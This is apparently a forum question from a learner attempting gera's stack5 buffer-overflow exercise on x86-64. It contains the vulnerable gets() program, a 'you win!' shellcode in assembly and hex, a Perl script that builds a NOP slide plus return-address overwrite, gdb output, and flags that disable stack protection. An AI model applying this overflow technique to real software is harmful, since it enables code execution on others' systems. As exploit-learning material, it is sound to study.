I am following the totorials provided on the following links to learn how to insert shell code through a buffer overflow and redirecting your EIP/RIP towards properly crafted shell code to print you win! string to stdout:
The tutorial is a clear and thoroughgoing explanation on how to overwrite a EIP on i386 arch in order to execute your shell code. The only difference is that I am using an x64 arch (EIP -> RIP).
Hereby is the stack5.c program, which needs to print you win! in order to be successfull. The solution is that you'll need to insert shellcode doing that and forcing the program to execute your shellcode by overwriting the saved RIP towards your shellcode (or a NOP slide in front of it).
/* stack5-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you loose!\n");
}
The shell code in asm (stack5shell.asm):
BITS 64 ; Tell nasm this is 32-bit code.
call mark_below ; Call below the string to instructions
db "you win!", 0x0a, 0x0d ; with newline and carriage return bytes.
mark_below:
; ssize_t write(int fd, const void *buf, size_t count);
pop rcx ; Pop the return address (string ptr) into rcx.
mov eax, 4 ; Write syscall #.
mov ebx, 1 ; STDOUT file descriptor
mov edx, 10 ; Length of the string
int 0x80 ; Do syscall: write(1, string, 10)
; void _exit(int status);
mov eax, 1 ; Exit syscall #
mov ebx, 0 ; Status = 0
int 0x80 ; Do syscall: exit(0)
The shell code machine code (generated with "nasm -o stack5shell.shell stack5shell.asm") in hexdump:
00000000 eb 15 59 31 c0 b0 04 31 db ff c3 31 d2 b2 08 cd |..Y1...1...1....|
00000010 80 b0 01 ff cb cd 80 e8 e6 ff ff ff 79 6f 75 20 |............you |
00000020 77 69 6e 21 |win!|
00000024
I use the following perl script to test my result (because I can't input none ascii char's on the terminal and the program is using gets fromm stdin to overflow the buf[]):
#!/usr/bin/env perl
use strict;
use Expect;
my $timeout = 10;
my $executable = "./stack5 ";
my $nop_slide = "\x90" x 68;
my $youwin_shell = "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x08\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21";
my $return_address = "\xd0\xdc\xff\xff\xff\x7f";
my $input = $nop_slide.$youwin_shell.$return_address."\n";
my $input_length = length $input;
print("Start run... (input length $input_length) \n\n");
my $exp = Expect->spawn($executable) or die "Cannot spawn cookie-win command \n";
$exp->expect($timeout, ["buf"]);
$exp->send($input);
$exp->soft_close();
The perl script is not succesfully generating a you win! output.
Start run... (input length 111)
buf: ffffdcd0 cookie: ffffdd2c
^ZYH1��H1�H��H1Ҳ^H̀�^AH��̀�����you win!����
When I use GDB (as described in the 2 blogposts mentioned in the beginning of this question), I seem to have successfully overwritten the saved RIP correctly. My shell code seems not be get executed however, so I am puzzled on what goes wrong:
$ gdb ./stack5
(gdb) list
warning: Source file is more recent than executable.
1 /* stack5-stdin.c *
2 * specially crafted to feed your brain by gera */
3
4 #include <stdio.h>
5
6 int main() {
7 int cookie;
8 char buf[80];
9
10 printf("buf: %08x cookie: %08x\n", &buf, &cookie);
11 gets(buf);
12
13 if (cookie == 0x000d0a00)
14 printf("you loose!\n");
15 }
(gdb) break 15
Breakpoint 1 at 0x4005ff: file stack5.c, line 15.
(gdb) continue
Continuing.
Breakpoint 1, main () at stack5.c:15
warning: Source file is more recent than executable.
15 }
(gdb) backtrace
#0 main () at stack5.c:15
(gdb) info frame 0
Stack frame at 0x7fffffffdd40:
rip = 0x4005ff in main (stack5.c:15); saved rip = 0x7fffffffdcd0
source language c.
Arglist at 0x7fffffffdd30, args:
Locals at 0x7fffffffdd30, Previous frame's sp is 0x7fffffffdd40
Saved registers:
rbp at 0x7fffffffdd30, rip at 0x7fffffffdd38
(gdb) x/120x buf
0x7fffffffdcd0: 0x315915eb 0x3104b0c0 0x31c3ffdb 0xcd08b2d2
0x7fffffffdce0: 0xff01b080 0xe880cdcb 0xffffffe6 0x20756f79
0x7fffffffdcf0: 0x216e6977 0x90909090 0x90909090 0x90909090
0x7fffffffdd00: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffdd10: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffdd20: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffdd30: 0x90909090 0x90909090 0xffffdcd0 0x00007fff
I have used following compilation flags in order to allow stack execution of shell code:
# gcc -g -w -ggdb -static -fno-stack-protector -z execstack -c stack5.c -o stack5.o
# gcc stack5.o -Wall -lm -o stack5
# execstack --set-execstack stack5
# execstack stack5
X stack5
I also have tested the shell code itself using another sample C program, just to make sure there was no mistake in that one itself, as described in this stackoverflow post.
Anyone an idea why does wrong, even if GDB seems to detect a successfull overwrite of the saven RIP?
Any help appreciated